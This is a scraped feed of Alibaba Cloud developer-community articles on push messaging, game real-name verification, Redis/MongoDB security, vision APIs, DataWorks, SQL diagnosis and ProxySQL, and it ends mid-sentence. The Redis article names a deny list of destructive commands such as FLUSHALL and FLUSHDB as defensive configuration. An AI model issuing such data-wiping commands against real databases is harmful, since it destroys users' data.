    当整条链路触发之后,系统首先校验用户是否符合系统要求,如果符合的话系统会根据用户去查询用户命中的任务(其实是查询用户是否在某个人群中,还记得一个任务对应着一个人群吗?),根据用户命中的任务,通过配置中心找到对应的符合这个用户的所有的素材,然后将这个素材列表结合一些配置信息发送给匹配中心,匹配中心具体的功能下个段落会有仔细讲解,匹配中心返回决策”是否发送消息“给当前请求用户,如果发送,发什么素材以及发送什么内容;如果不发送,不发送的原因,便于做后期分析统计。如果发送的话,任务中心会进行业务参数校验,千人千面校验等一系列校验内容确保素材合理合法,然后记录数据埋点以及后期日志,最后通过闲鱼自研的消息下发渠道 Heracles 推送给用户,参见下图:

    屏幕快照 2020-04-09 下午12.02.55.png

    这里需要单独说明一下实时触发的场景,由于实时触发的场景多样,系统会根据用户行为推送给用户不同的消息内容。但系统又不能对用户造成骚扰,这就需要匹配中心需要区分这些场景,有针对性的选择最合适的内容,针对复杂的场景,需要进行场景隔离。这就需要不同的匹配中心,因此系统要对匹配中心灵活配置,这里我们通过传入匹配中心的 id 灵活选择对应的匹配中心,解耦了任务中心和匹配中心,对未来更多类型的场景,提供了可能。

    6.png

    匹配中心

    Hermes 除了快,还很懂你,奥妙就在匹配中心。她不光帮助 Hermes 回答了“ 是发 or 还是不发,That is a question"(致敬著名英国文豪莎士比亚),还解答了发送什么内容对用户最有用,才是用户最感兴趣的,最能帮助到用户。咋做的呢?

    匹配中心来自阿里算法平台 TPP,结合配置中心准备好的个性化内容信息,算法小姐姐会根据场景建模,根据用户的历史数据,实时行为进行模型训练,对素材进行预估打分,匹配召回,素材之间的 AB 实验和赛马【4】,最终决定哪个素材以及内容是最适合用户的。

    当然,在此之前,还有非常重要的一步,就是消息触达不能对用户造成骚扰,所以根据用户、任务、素材、内容疲劳度来综合判断到底发还是不发,以及什么素材和内容满足疲劳度控制,在实时场景中,匹配中心相对个性化触发更为复杂,这里除了单场景的素材择优,还需要考虑到多个场景下如何进行场景择优的问题,比如用户进入 app 首页这个场景,可能会触发多个场景,每个场景都有对应的消息触达,那么匹配中心如何选择最优场景,再根据场景中的不同素材进行素材择优,这里的模型设计会更为复杂。在平台上,算法使用了阿里自研的推荐平台 TPP,内部使用到的数据存储是 IGraph,一种阿里自研的高性能图数据库。

    8.png

    小结一下,结合上述的具体阐述,通过配置中心,任务中心和匹配中心的联动,Hermes 可以快速发掘用户感兴趣的内容,并且在用户易于接受的时机把内容传播给用户,同学们,你们听明白了吗?有啥问题吗?有问题的话就留言吧,卡尔.萨根说过:"世上没有傻问题" (顺便点个"在看", 小哥哥晚餐就给自己加个鸡腿了)

    业务效果

    在业务效果的提升上:Hermes 平台上线之后效果非常显著,用户点击率提升两位数,说明用户对消息推送的时间相较于老系统更容易接受,消息内容更感兴趣;用户场景的覆盖量直接翻倍,这为用户提供了更丰富的场景,给用户带来了更有趣的内容,所以通过 push 激活的闲鱼 DAU 也超过了历史最高水平。

    在运营效率的提升上:在 Hermes 还未诞生的时候,老系统配置,测试,审核往往需要三天以上的时间,而现在所有的流程全部在管理后天配置完成,实时生效,数据大盘统计,归纳整理一站式全部搞定,谁用谁知道,用了都说好!

    未来计划

    Hermes 作为闲鱼触达的统一收口平台,不光是 push,短信,未来也会接入 open page 等更丰富的触达形式,通过不同的触达方式,优化用户体验;在闲鱼触达的整体架构设计中,未来我们会对场景择优和内容选择上进行深度的优化,针对不同的业务目标,匹配出最适合用户的场景以及消息内容。为了用户,没有最懂你,只有更懂你。

    备注说明

    【1】奥格 -淘系用户生命周期全链路管理平台

    【2】ODPS -阿里海量数据离线处理平台

    【3】Blink - 基于 Flink 的阿里海量数据实时流计算平台

    【4】赛马-素材竞争,一种自然的实验方式,通过素材自身内容进行竞争,优胜略汰

    关注「淘系技术」微信公众号,一个有温度有内容的技术社区~

    公众号二维码.jpg

    ]]>
    最新要求:游戏厂商不做实名无法过审!数据宝助力打造游戏健康系统!-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 近日,上海新闻出版局对近期游戏企业经营活动发出了最新的工作要求,上海出版局明确将在属地范围内严格执行未成年人防游戏沉迷措施,且将进一步加强上海当地的游戏出版工作监管,对各类不合规违法违规经营行为加强惩处力度。本次要求重中之重还是关于实名认证。
    IMG_9777.PNG.JPG

    一、严格设置实名注册系统
    1、平台小游戏原则上由小游戏平台统一设置实名注册系统,不接入平台实名注册的,平台应不予运行;

    2、弱联网的单机游戏和无任何联网功能的纯单机游戏,在下载购买时均需要实名注册;

    3、对中国大陆玩家,应要求其提供姓名和身份证号。对境外玩家,应要求提供姓名和护照号码以备核查。

    二、有条件的企业,在实名注册基础上完成对用户的实名验证
    中宣部实名验证系统建好后,将分批次组织开展所有游戏企业的对接。企业要积极配合做好接口规范编写,跨平台时长采集等工作。

    三、对实名注册和验证为未成年人的,要严格按照《通知》要求实施游戏时段时长和消费金额的限制
    1、技术条件允许,如企业旗下或平台内所有游戏均使用同一账号登录的,要实施企业和平台内跨游戏时段时长和消费限制。技术条件不成熟的,要严格实施同一款游戏内的管制限制,逐步推动实现统一企业旗下所有游戏和跨平台的限制。

    2、单机、主机等无法通过官方服务器掌握使用时段时长的,要内部设置未成年人模式或家长监控功能,对认证为未成年的,须进行使用时长的限制。

    3、以主机平台、小游戏平台进行统一注册的,要按照平台内同一用户的时段时长和消费金额总数进行限制。

    4、对认证为未成年人的用户,单机、主机等一次性购买下载的金额不得超过《通知》消费限制。

    自《要求》推出以来,接入防沉迷系统,已经成为游戏企业今年上半年的重中之重。目前已有多个企业陆续接入,特别是游戏大厂,除了早前提到的完美、腾讯、网易等大厂,B站也于2020年3月2日启用游戏健康系统,玩家现在登录B站旗下相关游戏时需要实名制认证。在早前,国家新闻出版署就已经发布《关于防止未成年沉迷网络游戏的通知》,并提出将在2020年6月前展开游戏实名认证专项检查,也就是说游戏厂商再不做实名将无法过审。

    目前游戏厂商要实现高精准实名认证的难点在于,当前国内实名认证的体系是基于“用户提供的信息是准确且真实的”这个前提。也就是说,如果无法确保用户提供的信息是真实的,便会衍生出许多“解除防沉迷”的攻略,更会让一些无良商家有机可趁,在网络上对游戏账号进行交易。

    那么,如何才能确保实名认证过程中,用户提供的信息是准确且真实的呢?数据宝积极响应游戏行业对在线实名认证的定制化需求,基于公安、银联、运营商的多源数据并结合活体检测、ocr等技术推出身份实名认证服务升级版,帮助游戏运营者推行实人实名实证才能通过的“实名认证”系统,实时快速准确验证用户身份真伪。

    具体体现在玩家注册时利用身份证识别快速采集录入用户的身份信息,再通过人脸识别进行活体检测并留取现场人脸图像与高清人像进行对比,然后自动请求公安系统数据库,联网核查证件的真伪,使用多重方式来确保实名认证的真实性。
    640.gif

    数据宝网络游戏实名认证服务还包含了手机实名验证、银行卡实名验证,手机实名验证是基于直连运营商大数据,获得用户授权后,通过手机号及身份信息实时快速核验用户身份信息真伪,覆盖全网,不限地域,并可与手机短信验证灵活融合;银行卡实名验证是基于直连银联大数据,获得用户授权后,通过手机号、银行卡号及身份信息实时快速核验用户身份信息真伪,不限银行,不限省份,并可与银行卡ocr技术灵活融合。

    此外,在推行网络游戏实名认证服务时,数据宝始终践行行业四大标准:

    01数据源合法授权

    持有合法数据源授权书/授权书;
    消费者的合法授权;
    中间服务商的合法授权。

    **02拥有合法经营资质
    **
    工商执照经营范围包含大数据资产交易;
    股东构成;
    严格的合规管理体系。

    03拥有安全认证及监管机制

    获得国际及国内相关信息安全认证,如国家信息系统安全保护三级及国际ISO27001安全体系认证等;
    受相关部门实时监管。

    04无缓存数据

    数据源非缓存数据:直连数据源,响应速度不小于0.2秒,无大规模数据中心,定价合理;
    交互数据100%不缓存;
    可以出具“无缓存”承诺书。

    游戏产业就是一把双刃剑,虽然是人们业余消磨时间的一大途径,但也确实对未成年的成长造成了很大影响,在某种程度上阻碍了未成年的身心发展。认证宝实名认证系统助力建立起一个游戏防沉迷体系,推动网络环境更加安全和谐。了解实名认证产品点击查看:https://shop668hvk64.market.aliyun.com/

    ]]>
    从事前到事后,云数据库 Redis & MongoDB 安全体系全揭秘!-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 作者:陈金元(今远),阿里云管控技术专家

    一、整体说明

    今远1.png

    上图是云数据库Redis&MongoDB的安全体系图,横向是实例控制链路,纵向是实例数据链路,对于控制链路,事前为了避免恶意操作或者误操作的发生,云数据库Redis&MongoDB提供了多个维度的授权机制,并通过风控系统进行释放保护,在极端场景下安全风险事件发生时,通过云监控可以第一时间发现问题,通过控制台以及审计日志可以快速的定位问题,当风险发生后,通过系统提供的各项恢复能力可以快速恢复业务,针对实例删除,可以使用回收站,针对数据删除(比如执行flushall),可以通过控制台数据恢复,shake工具,PITR,DBS等方式快速恢复数据。

    Redis&Mongo实例数据链路的安全能力,分为接入层,网络层,代理层(proxy),引擎层,存储层 共5个维度。

    接入层,也是访问实例的入口,提供云盾,堡垒机,DMS等产品,云盾和堡垒机是阿里云团队提供的安全解决方案,DMS作为数据库生态工具,提供了完善、成熟的数据安全访问解决方案,从访问和变更两个方面进行安全管控。

    网络层,通过VPC进行网络隔离,通过白名单和安全组拦截未经授权的访问,通过SSL加密保证数据传输的安全性。

    代理层,通过proxy审计日志,在安全风险发生时可以快速定位到clientip,及时进行阻断。

    引擎层,通过Redis账号ACL,高危命令拦截,MongoDB TDE透明数据加密等方式进一步进行安全加固。

    存储层,MongoDB在支持原生TDE加密模式的基础上,进一步增加自定义密钥材料的能力,实现从链路到存储的全链路加密支持。

    二、事前

    自建Redis和MongoDB存在的问题:从控制面,权限未做隔离,从数据面,开源Redis 当前的5.0以及之前的版本均未提供ACL的能力。

    在云上,针对OPENAPI和控制台,支持RAM(Resource Access Management)的授权方式,可以使用RAM在主账号的权限范围内创建子账号,给不同的子账号分配不同的权限来允许或拒绝他们对云资源的访问,从而达到授权管理的目的。

    与此同时,云数据库Redis&MongoDB也支持使用资源组来进行更细粒度的资源控制需求,通过资源组来支持用户在资源组级别的授权,每个资源组都可以维护不同的实例列表,如果授予子用户a作为资源组rg1的管理员,那么子用户a能够操作资源组rg1下的所有资源,而不能操作其他资源组的资源。

    针对数据链路,云上Redis支持账户ACL,可以独立管理账户权限,通过白名单控制访问,并在此基础上通过安全组来优化维护体验,将ecs实例通过安全组进行统一管理,并与redis或者mongodb实例进行关联,每个redis实例最高支持关联10个安全组。

    如果恶意用户突破了层层授权的限制,或者正常用户误触发了删除实例,我们还会通过二次提醒,以及风控系统提供的释放保护能力,对实例进行更多的保护,有效杜绝误操作或者恶意释放的可能,同时对于大批量的实例释放,则会自动触发熔断机制,对风险做紧急刹车。
    针对数据链路的误操作,比如Redis 通过执行flushall等危险命令进行数据清理,或者执行keys可以阻塞正常的业务访问等等,云数据库Redis提供no_loose_disabled-commands参数来拦截高危命令,支持拦截FLUSHALL、FLUSHDB、KEYS、HGETALL、EVAL、EVALSHA、SCRIPT等风险命令。

    三、事中

    通过权限和风控系统提供的系统保护,已经可以规避绝大部分的恶意操作或者误操作,在极端情况下安全风险真的发生的时候,对比自建,云数据库Redis&MongoDB可以更快速的定位原因和影响,及时响应,快速恢复业务,通过云监控,可以及时收到告警,快速介入处理,对于控制面的实例释放,通过控制台的界面可以一目了然的看到影响的实例列表和影响业务范围,对于数据链路(比如执行了flushall),通过产品提供的审计日志的能力可以快速锁定来源IP,快速进行阻断,控制风险的进一步蔓延,如下面的图片,通过审计日志的关键词搜索,快速的找到了问题IP。

    今远2.png

    四、事后

    通过监控告警和日志审计我们已经快速定位到问题,对风险IP也进行了及时阻断,下一步当然是快速恢复数据,云数据库Redis和MongoDB支持了非常多样化的恢复能力,对于误操作或者恶意操作释放实例,通过我们提供的回收站能力,可以快速进行重建恢复,数据会回到释放前的状态,同时保持相同的访问地址。

    针对非实例级别的数据被误操作或者破坏的场景,使用各种数据恢复能力也可以快速恢复数据,比如备份集数据恢复和备份集克隆实例,前者使用备份集的数据替换当前实例的数据,备份集克隆实例则会重新生成一个新的实例,具有独立的链接地址,用于进行数据恢复,对当前实例的数据无影响。

    对于误释放的实例,备份集默认只会保留8天,也就是说,在这种场景下,8天之后已经无法使用回收站或者备份集直接恢复数据,这种情况下如果本地有下载过备份文件,则可以使用RedisSHAKE或者MongoSHAKE进行数据恢复,在控制台中的备份均支持下载,释放也会提示进行备份,登录可以链接Redis或者MongoDB实例的ecs服务器,然后下载并解压对应的shake工具,修改配置文件后,启动shake即可使用备份文件快速恢复数据。

    除此之外,也可以使用云上的数据库DBS服务进行定期的备份,也可以非常方便的进行事后恢复。

    ]]>
    视觉智能开放平台能力上新,百余种AI算法免费开放!-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800   阿里云视觉智能开放平台(vision.aliyun.com)是基于阿里巴巴视觉智能技术实践经验,面向视觉智能技术的开发与应用用户,为其提供好用、易用、普惠的视觉智能API服务,帮助企业、开发者快速建立视觉智能技术的应用算法的综合性视觉AI算法平台。近期平台上线了30+个AI算法, AI算法数量突破了100大关,接下来和大家介绍几款热门的AI算法。关于此次更新的详细内容可点击文章结尾的各分类详细介绍文章查询。
      人脸比对1:N:【跳转链接】

      在使用人脸比对1:N之前,需要创建对应的人脸库并在人脸库中加入对应的人脸数据,以上工作准备好后,输入单张人脸图片通过调用人脸比对1:N算法,会与人脸库中的人脸图片进行对比并进行结果的输出,主要可应用于企业人脸打卡、安防监控以及闸机刷脸通行等场景,例如在闸机中安装人脸比对1:N的AI算法,创建好数据库后可快速判断传入的人脸信息实现刷脸门禁通行,解决忘带工牌、盗刷等问题。

    人脸比对.jpg

      本次更新除了增加和图片相关的AI算法外,我们还新增了多个和视频相关的分类,例如视频生成、视频分割等。
      视频人像分割:【跳转链接】

      通过此算法可对输入的视频进行内容理解,将人物进行高精分割解析,将人像区域的mask(掩模)作为视频序列返回。可广泛应用于影视、泛文娱、个人应用等各种场景。例如视频直播过程中,识别用户的人体轮廓,为人像实时增加各种设定的背景特效、贴纸道具,提供更加丰富的娱乐体验。
    视频人像分割.png
      视频字幕擦除:【跳转链接】
      通过此算法可以快速有效的擦除视频中的标准字幕,主要可应用在影视作品当中,例如老电影里面的字幕比较模糊,可以通过此算法去除字幕然后再添加较为清晰的弹幕,通过此算法可优化观看者的观看体验。
    视频字幕擦除.png
      各分类详细介绍查看链接:
      【人脸人体】:新增了9个AI算法跳转链接
      【文字识别】:新增了5个AI算法跳转链接
      【商品理解】、【图像识别】、【图像分割】:共新增6个AI算法跳转链接
      【图像增强】、【目标检测】:共新增7个AI算法跳转链接
      【图像搜索】【视频理解】【视频分割】【视频生成】:新增以上4个分类共10个AI算法跳转链接

      为了更好的帮助中小企业和独立开发者快速对接视觉AI算法,阿里云视觉智能开放平台(vision.aliyun.com)免费开放平台上现有的100余种视觉AI算法服务的使用权限,没有中间商赚差价,服务调用不收取任何费用!感兴趣的同学可点击下方链接访问我们的官网进行体验,也可搜索钉钉群23109592或是扫描文章结尾的钉群二维码,进群和我们沟通!
      官网地址:https://vision.aliyun.com/

    群二维码.jpg

    ]]>
    DataWorks 2020-03 产品月刊-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 本月DataWorks产品月刊为您带来
    1.DataWorks On E-MapReduce功能2020年4月3日正式启动商业化
    2.技术长文:《一分钟搭建会话机器人,阿里是怎么做到的?》
    3.AnalyticDB for PostgreSQL+DataWorks深度集成重磅联合发布,推出3个月1折优惠体验套餐
    4.飞天大数据平台应用实战第二季直播,Step By Step体验产品最佳实践!

    【产品活动】

    1.AnalyticDB for PostgreSQL+DataWorks深度集成重磅联合发布
    DataWorks标准版3个月+独享资源组3个月仅需300元!立即前往>>
    2.飞天大数据平台实战应用第二季
    为您带来飞天大数据平台DataWorks、MaxCompute、实时计算、EMR、PAI等产品与阿里云上下游产品的最佳实践。
    PAI平台搭建企业级个性化推荐系统最佳实践
    互联网、电商行业实时大数据分析最佳实践
    互联网、电商行业离线大数据分析最佳实践
    基于MaxCompute的大数据BI分析最佳实践
    EMR弹性低成本离线大数据分析最佳实践

    【产品功能更新】

    1.DataWorks On E-MapReduce功能2020年4月3日正式启动商业化立即查看
    开源Hadoop也可以通过阿里云EMR使用DataWorks了!欢迎选购DataWorks专业版进行体验!
    2.【限时体验】运维中心-运行诊断功能上线立即查看
    还在没日没夜地等待资源?
    到了定时时间,但任务还不运行?
    查看上游运行情况,迅速定位阻塞节点。
    展示调度资源使用率,合理安排任务错峰运行。
    任务出错但看不懂运行日志?
    提供智能诊断建议,出错原因一目了然。
    本功能仅限专业版使用,3月23日已在深圳region发布,4月份将陆续拉平。基础版和标准版用户可限时体验至4月30日。
    3.移动版DataWorks更新立即查看
    新增入口,可以直接通过手机浏览器、阿里云APP来使用,提供移动运维的功能,被窝里轻松处理任务报警。

    【产品技术文章】

    1.一分钟搭建会话机器人,阿里是怎么做到的?立即查看

    【DataWork百问百答更新】

    DataWorks百问百答02:如何设置跨周期依赖及自依赖?

    DataWorks百问百答03:调度参数如何配置2020-02-27 00:00:00格式?

    DataWorks百问百答04:数据源连通性测试失败怎么办?

    DataWorks百问百答05:数据同步任务出现脏数据怎么办?

    DataWorks百问百答06:周期实例的生成方式是怎么样的?

    DataWorks百问百答07:如何有效组织和管理DataStudio中的节点文件?

    DataWorks百问百答08:如何进行任务调度执行、周期实例运行状况分析?

    DataWorks百问百答09:如何设置业务流程内和业务流程间的依赖关系?

    DataWorks百问百答10:如何处理编码格式设置问题?

    DataWorks百问百答11:数据地图中数据组织和查找有哪几种方式?

    【产品文档更新】

    任务搬站
    独享资源计算器
    离线规则内置模板说明
    新建、操作和应用规则模板
    新增数据源Hologres
    新增和操作报告模板
    ClickHouse Writer
    ApsaraDB For OceanBase Reader
    ApsaraDB For OceanBase Writer
    配置GBase8a数据源
    Holo Reader
    Holo Writer
    TSDB Reader

    【其他】

    新基建加速 20家中央部委数字化升级合作阿里云立即查看

    【往期系列】

    DataWorks 2020-02 产品月刊
    DataWorks 2020-01 产品月刊
    DataWorks 2019-12 产品月刊

    更多DataWorks技术和产品信息,欢迎加入【DataWorks钉钉交流群】,为您提供最新的产品直播、产品活动及技术支持点击查看

    ]]>
    耗时又繁重的SQL诊断优化,以后就都交给数据库自治服务DAS吧!-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 作者:斯干,阿里云数据库高级技术专家

    在我们业务系统中,数据库越来越扮演着举足轻重的角色。

    和其它公司一样,在阿里巴巴业务场景下,大部分业务跟数据库有着非常紧密的关系,数据库一个微小的抖动都有可能对业务造成非常大的影响, 如何让数据库更稳定,得到持续优化一直都是非常重要的诉求。

    数据库环境下的业务优化,通常会提到三个层面:
    1)应用层面优化:应用代码逻辑优化,以更高效的方式处理数据;
    2)实例层面优化:通过环境参数调整,优化实例的运行效率;
    3)SQL层面优化:通过物理数据库设计、SQL语句改写等优化手段,确保以最佳的方式获取数据。

    开发者通常对于前面两个比较熟悉,对于第三个即SQL层面的优化会有些生疏,甚至会因由谁(数据库管理员或应用开发者)来负责而产生争论,但SQL优化是整个数据库优化中非常关键的一环, 线上SQL性能问题不仅会给业务带来执行效率上的低下,甚至是稳定性上的故障。

    按照经验,约80%的数据库性能问题能通过SQL优化手段解决,但SQL优化一直以来都是一个非常复杂的过程,需要多方面的数据库领域专家知识和经验。
    例如如何准确地识别执行计划中的瓶颈点,通过优化物理库设计或SQL改写等手段,让数据库优化器回归到最佳执行计划, 另外,由于SQL工作负载及其基础数据庞大且不断变化,SQL优化还是一项非常耗时繁重的任务,这些都决定了SQL优化是一项高门槛,高投入的工作。

    SQL诊断优化服务是阿里云数据库自治服务(DAS)中最为核心的服务之一 , 它以SQL语句作为输入,由DAS完成诊断分析并提供专家优化建议(包括索引建议、语句优化建议以及预期收益等信息),用户不必精通数据库优化领域专家知识,即可获得SQL优化诊断、改写和优化相关的专家建议,最大化SQL执行性能。

    另外, 依托该能力,DAS的SQL自动优化服务将SQL优化推向了更高的境界,将重人工的被动式优化转变为以智能化为基础的主动式优化,以自优化的自治能力实现SQL优化的无人值守。

    接下来我们针对DAS的SQL诊断优化服务能力构建进行详细的解读。

    01、面临的挑战

    当我们提到诊断优化能力时,很自然会想到两个问题:
    能力是否靠谱? 能力是否全面?

    确实如此,完美地回答这两个问题将面临非常巨大的挑战, 现将其归纳为如下四点:

    ❓挑战一:如何选择靠谱的优化推荐算法生成靠谱的建议?

    在SQL诊断优化领域,基于规则方式和基于代价模型方式是两种常被选择的优化推荐算法,在目前许多产品和服务中,基于规则的推荐方式被广泛使用,特别是针对MySQL这种WHAT-IF内核能力缺失的数据库,因为该方式相对来说比较简单,容易实现,但另一面也造成了推荐过于机械化,推荐质量难以保证的问题, 举一个例子,例如对如下简单的SQL进行索引的推荐:

    SELECT * 
    FROM t1
    WHERE time_created >= '2017-11-25'
      AND consuming_time > 1000
    ORDER BY consuming_time DESC

    基于规则,通常会首先生成如下四个候选索引:

    IX1(time_created)
    IX2(time_created, consuming_time)
    IX3(consuming_time)
    IX4(consuming_time, time_created)

    但最终推荐给用户的是哪个(或哪几个,考虑index oring/anding的情况)索引呢?基于规则的方式很难给出精确的回答,会出现模棱两可的局面。在这个例子中,SQL只是简单的单表查询,那对于再复杂一点的SQL, 例如多个表Join,以及带有复杂的子查询,情况又会如何呢?情况变得更糟糕,更加难以为继。

    与此不同,DAS中的SQL诊断优化服务采用的是基于代价模型方式实现,也就它采用和数据库优化器相同的方式去思考优化问题,最终会以执行代价的方式量化评估所有的(或尽可能所有的, 因为是最优解求解的NP类问题,因此在一些极端情况下无法做到所有,只是实现次优)可能推荐候选项,最终作出推荐。即便是如此,但对于MySQL这样的开源数据库支持,还将面临其它不一样的挑战:

    WHAT-IF内核能力缺失:无法复用内核的数据库优化器能力来对候选优化方案进行代价量化评估;

    统计信息缺失:候选优化方案的代价评估,其本质是执行计划的代价计算,统计信息的缺失便是无米之炊。

    ❓挑战二:如何具备足够的SQL兼容性?
    SQL诊断优化服务如何做到SQL兼容性,其中包括SQL的解析以及SQL语义的验证,这直接关系到能力的全面性,诊断的成功率,它就像入场券,做不到做不全面都是问题。

    ❓挑战三:如何构建具有足够覆盖度的能力测试集?

    长期以来,SQL诊断优化能力的构建一直都是颇具挑战性的课题,挑战不仅在于如何将据库优化领域专家知识融入, 还包括如何构建一个庞大的测试案例库用于其核心能力验证,它就像一把尺子可以衡量能力,同时又可以以此为驱动,加速能力的构建, 因此在整个过程中,拥有足够覆盖度,准确的测试案例库是能力构建过程中至关重要的一环。

    但构建足够好的测试案例库是一件非常困难的事情,挑战主要体现在两个方面:

    足够完备性保证:影响SQL优化的因素很多, 例如影响索引选择的因素有上百个,加之各因素之间形成组合,这就形成了庞大的案例特征集合,如何让这些特征一一映射到测试案例也是非常庞大的工程;

    测试案例设计需要专业知识且信息量大,例如对于单一测试案例设计也需要专业知识且测试案例中携带的信息量大,如索引推荐测试案例,它包括:

     a) schema设计:如表、已有索引、约束等;
     b)各类统计信息数据;
     c)环境参数等等。
    

    ❓挑战四:如何构建大规模的诊断服务能力?

    SQL诊断优化服务需要具备服务于云上百万级数据库实例的能力,其线上服务能力同样面临巨大挑战,例如如何实现复杂的计算服务服务化拆分,计算服务的横向伸缩,最大化的并行,资源访问分布式环境下的并发控制,不同优先级的有效调度消除隔离,峰值缓冲等等。

    02、能力构建

    面对上面提到的众多挑战,下面着重从DAS中的SQL诊断优化引擎核心技术架构以及能力测试集的构建两个维度进一步解读。

    2.1核心技术架构

    胡1.png

    图1: SQL诊断优化引擎核心架构

    上图1是SQL诊断优化引擎的核心架构, 它实现一套独立于数据库之外的优化器,包括自适应的统计信息收集以及执行计划的代价计算,以此为基础弥补WHAT-IF内核能力缺失,自适应的统计信息收集弥补统计信息缺失。其具体的工作过程如下:

    SQL解析与验证:引擎对查询语句做解析验证,验证输入查询语句是否符合标准,识别查询语句的组成形成语法树,例如:谓词以及谓词类型、排序字段、聚合字段、查询字段等,识别查询语句相关字段的数据类型。验证SQL使用到的表、字段是否符合目标数据库的结构设计。

    候选索引生成:依据解析验证后的语法树,生成多种候选索引组合;

    基于代价评估:代价评估基于内置独立于数据库内核的优化器,获取数据库统计信息,在诊断引擎内部作缓存。诊断引擎内置优化器基于统计信息计算代价,评估每个索引的代价以及不同SQL改写方法下的代价评估,从而从代价选择最优索引或SQL改写方法。

    索引合并与择优:引擎输入可以是一条查询语句,也可以为多个查询语句,或者整个数据库实例所有的查询语句。为多个查询语句做索引推荐,不同的查询语句的索引建议,以及已经存在的物理索引,有可能存在相同索引、前缀相同索引、雷同索引。

    2.2能力测试集构建

    如前面有关挑战性章节所述,我们的目标是构建具有足够覆盖度的能力测试集,并以此为尺,度量能力,驱动能力构建。在这一过程中,如下图2所示,我们构建了以用例系统为中心的开发模式。

    胡2.png

    图2: 案例系统

    能力测试集构建的基本思想,首先通过特征化实现测试案例基于特征的形式化描述,形成测试案例形式化特征库,并具备足够的完备性;

    在阿里巴巴集团内部,我们已经对全网数据库实例上全部SQL进行实时采集和存储,借助阿里巴巴这个大平台业务的丰富性和SQL场景的丰富行,以特征化形式描述为抓手对线上海量全量SQL资源分析搜寻符合指定特征的真实案例,抽取测试案例所需的信息(注:案例库的数据均来自阿里巴巴集团内部业务,所涉及的线上抽取信息,如统计信息,均经过加密脱敏处理,此过程为无人参与的全自动化过程),最终完成测试案例库构建。
    最后通过 “测试用例形式化特征库” 和 “测试案例库”的特征比对,可实现测试完备度和覆盖度的评估, 例如:

    1) 哪些测形式化特征测试用例已被测试用例覆盖,完备度是多少?
    2) 哪些形式化特征测试用例,当前的诊断优化能力未覆盖?或测试验证失败?
    3)在一段时间哪些测形式化特征测试用例出现频繁的回归问题?
    4)各能力级的测试用例覆盖率怎样?

    03、真金不怕火练

    DAS的SQL诊断优化服务云上发布前, 已在阿里巴巴集团内部稳定运行将近3年多时间,日平均诊断量在5万左右, 很好地支撑着整个集团业务应用的SQL优化,使用场景应用场景主要包括:

    1、自助优化:集团用户指定问题SQL, 服务完成诊断并提供优化专家建议;

    2、自动优化:自动优化服务自动识别业务数据库实例工作负载上的慢查询,主动完成诊断,生成优化建议,评估后编排优化任务,自动完成后续的优化上线操作及性能跟踪,形成全自动的优化闭环,提升数据库性能,持续保持数据库实例运行在最佳优化状态。

    3年多来,SQL诊断成功率保持在98%以上,针对慢SQL的推荐率超过75%。

    截止到2020年3月底,自动SQL优化已累计优化超4200万慢SQL,集团全网慢SQL下降92%左右。

    更为重要的是,SQL诊断优化服务已经构建了有效的主动式分析,反馈系统,线上诊断失败案例,用户反馈案例,自动优化中的回滚案例会自动回流到案例系统,一刻不停地驱动着诊断服务在快速迭代中成长。

    04、如何使用

    您可以在阿里云数据库自治服务 DAS 上免费使用该功能,点击这里申请体验。

    *相关阅读
    业务异常只能看着数据库崩溃?看看应急处理利器——自动SQL限流

    接下来每周我们会有系列文章,深度解读DAS的AutoScale、异常检测服务、自动SQL优化服务、基于Workload的SQL Review、智能压测、智能调参等等,敬请关注。

    直播预告

    数据库即将迈入自动驾驶时代
    4月22日 15:00 — 16:30
    数据库自治服务DAS重磅新品发布会
    期待与你一同见证精彩蜕变
    点击这里立即预约直播

    ]]>
    MySQL中间件ProxySQL介绍 -阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 ProxySQL作为一款强大的中间件为MySQL的架构提供了有力的支持。 目前可以很好的支持 Master Slave MGR PXC等,并提供连接池、读写分离、日志记录等功能,当然还有很多其他实用功能,这里不一一列举了。 本文都是基础概念,基本出自官方文档,官方已经解释的非常清晰,我就不太多加工,汇总一些实用的分享给大家。

    安装

    ProxySQL安装非常简单
    ![图片.png](https://ucc.alicdn.com/pic/developer-ecology/bfff5d058a4d46679a53bfdb0e1bc5a1.png)
    

    连接ProxySQL

    ProxySQL默认管理端口6032,默认需要127.0.0.1来进入,进入方式和连接MySQL方式一致: 
    

    图片.png

    ProxySQL 运行机制
    RUNTIME

    RUNTIME表示处理请求的线程使用的ProxySQL的内存数据结构。
    runtime variables 包含了:
        1.    Global variables的实际值
        2.    将后端的服务器列表分组到hostgroup中。
        3.    让MySQL 的User们可以连接proxysql

    注意:runntime层数据,谁都不能直接修改,必须通过下一层来提交修改。
    MEMORY

    MEMORY(有时也称为main)表示通过MySQL兼容接口公开的内存数据库。 用户可以将MySQL客户端连接到此接口,并查询各种ProxySQL配置表/数据库。   
    通过此接口可用的配置表是:

    mysql_servers - ProxySQL连接到的后端服务器列表

    mysql_users - 连接到ProxySQL的用户及其凭据列表。 请注意,ProxySQL也将使用相同的凭据连接到后端服务器!

    mysql_query_rules - 将流量路由到各种后端服务器时评估的查询规则列表。 这些规则还可以重写查询,甚至可以缓存已执行查询的结果。

    global_variables - 代理配置使用的全局变量列表,可在运行时调整。

    DISK 和 CONFIG FILE

    DISK表示磁盘上的SQLite3数据库,默认位置为$(DATADIR)/proxysql.db。 在重新启动时,未保留的内存中配置将丢失。 因此,将配置保留在DISK中非常重要。   
    ![图片.png](https://ucc.alicdn.com/pic/developer-ecology/f8b45541e53244bfa89abe0ca0d509aa.png)
    

    启动过程

    如果找到数据库文件(proxysql.db),ProxySQL将从proxysql.db初始化其内存中配置。 因此,磁盘被加载到MEMORY中,然后加载到RUNTIME中。 
    如果找不到数据库文件(proxysql.db)且存在配置文件(proxysql.cfg),则解析配置文件并将其内容加载到内存数据库中,然后将其保存在proxysql.db中并在加载到RUNTIME。 
    请务必注意,如果找到proxysql.db,则不会解析配置文件。 也就是说,在正常启动期间,ProxySQL仅从持久存储的磁盘数据库初始化其内存配置。
    **配置文件有4个变量,即使存在proxysql.db,也始终会从配置文件里去解析:**
        1.    datadir:
    
               定义了ProxySQL datadir的路径,其中存储了数据库文件,日志和其他文件
    
        2.    restart_on_missing_heartbeats(1.4.4中的新增内容):
    
